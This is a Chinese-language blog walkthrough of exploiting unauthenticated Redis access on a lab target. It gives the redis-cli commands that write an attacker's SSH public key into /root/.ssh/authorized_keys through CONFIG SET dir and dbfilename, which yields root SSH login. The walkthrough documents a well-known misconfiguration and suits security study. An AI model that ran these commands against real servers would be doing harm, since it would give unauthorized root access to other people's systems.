返回

redis未授权访问获取用户权限

发布时间:2022-03-17 10:51:56 383
# 漏洞# 黑客

漏洞描述

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

环境搭建

在靶机上搭好redis 地址10.242.164.85

修改配置文件 redis.conf 注释bind 127.0.0.1

将protected-mode 改成no
重启

./redis-service ../redis.conf

漏洞复现

1、在kali上生成公钥和私钥

ssh-keygen -t rsa

2、 进入/root/.ssh目录: cd /root/.ssh , 讲生成的公钥保存到1.txt(名字随意)
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > 1.txt

3、链接目标服务器上的Redis服务,将保存的公钥1.txt写入Redis(使用redis-cli -h ip命令连接靶机,将文件写入)

 cat 1.txt | redis-cli -h 10.242.164.85 -x set crack

4、重新连接上redis服务器 并使用 CONFIG GET dir 命令得到Redis备份的路径

CONFIG GET dir

5、 更改Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)

config set dir /root/.ssh

6、设置上传公钥的备份文件名字为authorized_keys

CONFIG SET dbfilename authorized_keys

7、检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出

连接成功

特别声明:以上内容(图片及文字)均为互联网收集或者用户上传发布,本站仅提供信息存储服务!如有侵权或有涉及法律问题请联系我们。
举报
评论区(0)
按点赞数排序
用户头像
精选文章
thumb 中国研究员首次曝光美国国安局顶级后门—“方程式组织”
thumb 俄乌线上战争,网络攻击弥漫着数字硝烟
thumb 从网络安全角度了解俄罗斯入侵乌克兰的相关事件时间线